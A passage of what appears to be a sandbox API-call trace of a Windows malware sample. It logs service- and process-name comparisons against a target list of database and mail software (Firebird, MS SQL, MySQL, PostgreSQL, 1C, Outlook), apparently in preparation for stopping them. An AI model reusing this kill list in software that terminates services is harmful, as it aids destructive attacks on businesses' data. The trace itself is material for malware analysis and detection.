returned 1 [0245.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0245.698] lstrlenW (lpString="EventSystem") returned 11 [0245.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0245.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0245.698] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0245.698] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0245.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0245.698] lstrlenW (lpString="gpsvc") returned 5 [0245.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0245.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0245.699] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0245.699] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0245.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0245.699] lstrlenW (lpString="iphlpsvc") returned 8 [0245.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0245.699] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0245.699] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0245.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0245.700] lstrlenW (lpString="LanmanServer") returned 12 [0245.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0245.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0245.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0245.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0245.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0245.700] lstrlenW (lpString="LanmanWorkstation") returned 17 [0245.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0245.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0245.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0245.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0245.701] lstrlenW (lpString="lmhosts") returned 7 [0245.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0245.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0245.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0245.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0245.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0245.701] lstrlenW (lpString="MMCSS") returned 5 [0245.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0245.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0245.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0245.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0245.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0245.701] lstrlenW (lpString="MpsSvc") returned 6 [0245.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0245.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0245.702] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0245.702] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0245.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0245.702] lstrlenW (lpString="NlaSvc") returned 6 [0245.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0245.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0245.702] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0245.702] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0245.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0245.702] lstrlenW (lpString="nsi") returned 3 [0245.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0245.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0245.703] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0245.703] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0245.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0245.703] lstrlenW (lpString="PcaSvc") returned 6 [0245.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0245.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0245.703] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0245.703] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0245.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0245.703] lstrlenW (lpString="PlugPlay") returned 8 [0245.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0245.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0245.704] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0245.704] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0245.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0245.704] lstrlenW (lpString="Power") returned 5 [0245.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0245.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0245.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0245.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0245.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0245.704] lstrlenW (lpString="ProfSvc") returned 7 [0245.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0245.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0245.705] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0245.705] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0245.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0245.705] lstrlenW (lpString="RpcEptMapper") returned 12 [0245.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0245.705] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0245.705] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0245.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0245.705] lstrlenW (lpString="RpcSs") returned 5 [0245.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0245.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0245.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0245.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0245.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0245.706] lstrlenW (lpString="SamSs") returned 5 [0245.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0245.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0245.706] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0245.706] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0245.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0245.706] lstrlenW (lpString="Schedule") returned 8 [0245.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0245.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0245.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0245.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0245.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0245.707] lstrlenW (lpString="SENS") returned 4 [0245.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0245.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0245.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0245.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0245.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0245.707] lstrlenW (lpString="ShellHWDetection") returned 16 [0245.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0245.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0245.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0245.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0245.708] lstrlenW (lpString="Spooler") returned 7 [0245.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0245.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0245.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0245.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0245.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0245.709] lstrlenW (lpString="SysMain") returned 7 [0245.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0245.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0245.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0245.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0245.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0245.710] lstrlenW (lpString="Themes") returned 6 [0245.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0245.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0245.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0245.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0245.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0245.710] lstrlenW (lpString="TrkWks") returned 6 [0245.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0245.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0245.710] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0245.711] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0245.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0245.711] lstrlenW (lpString="UxSms") returned 5 [0245.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0245.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0245.711] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0245.711] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0245.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0245.711] lstrlenW (lpString="WdiServiceHost") returned 14 [0245.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0245.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0245.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0245.712] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0245.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0245.712] lstrlenW (lpString="Winmgmt") returned 7 [0245.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0245.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0245.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0245.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0245.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0245.712] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0245.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0245.717] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.718] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.719] lstrlenW (lpString="System") returned 6 [0245.719] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0245.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0245.719] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.720] lstrlenW (lpString="smss.exe") returned 8 [0245.720] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0245.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0245.721] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.722] lstrlenW (lpString="csrss.exe") returned 9 [0245.722] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0245.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0245.722] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0245.722] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0245.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0245.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0245.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0245.723] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.723] lstrlenW (lpString="wininit.exe") returned 11 [0245.723] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0245.724] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0246.166] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0246.167] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0246.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0246.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0246.167] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0246.167] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.168] lstrlenW (lpString="csrss.exe") returned 9 [0246.168] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0246.168] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0246.168] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0246.168] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0246.168] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0246.168] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0246.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0246.168] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.169] lstrlenW (lpString="winlogon.exe") returned 12 [0246.169] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0246.169] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0246.169] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0246.170] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0246.170] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0246.170] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0246.170] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0246.170] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.171] lstrlenW (lpString="services.exe") returned 12 [0246.171] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0246.171] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0246.171] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0246.171] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0246.172] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0246.172] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0246.172] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0246.172] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.173] lstrlenW (lpString="lsass.exe") returned 9 [0246.173] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0246.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0246.173] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0246.173] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0246.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0246.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0246.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0246.173] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.174] lstrlenW (lpString="lsm.exe") returned 7 [0246.175] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0246.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0246.175] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0246.175] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.177] lstrlenW (lpString="svchost.exe") returned 11 [0246.177] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.178] lstrlenW (lpString="svchost.exe") returned 11 [0246.178] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.179] lstrlenW (lpString="svchost.exe") returned 11 [0246.179] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.180] lstrlenW (lpString="svchost.exe") returned 11 [0246.180] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.181] lstrlenW (lpString="svchost.exe") returned 11 [0246.181] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.182] lstrlenW (lpString="audiodg.exe") returned 11 [0246.183] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.184] lstrlenW (lpString="svchost.exe") returned 11 [0246.184] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.185] lstrlenW (lpString="explorer.exe") returned 12 [0246.185] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.186] lstrlenW (lpString="dwm.exe") returned 7 [0246.186] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.187] lstrlenW (lpString="svchost.exe") returned 11 [0246.187] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0246.188] lstrlenW (lpString="driver.exe") returned 10 [0246.188] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.189] lstrlenW (lpString="spoolsv.exe") returned 11 [0246.190] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.191] lstrlenW (lpString="taskhost.exe") returned 12 [0246.191] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.509] lstrlenW (lpString="svchost.exe") returned 11 [0246.509] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, 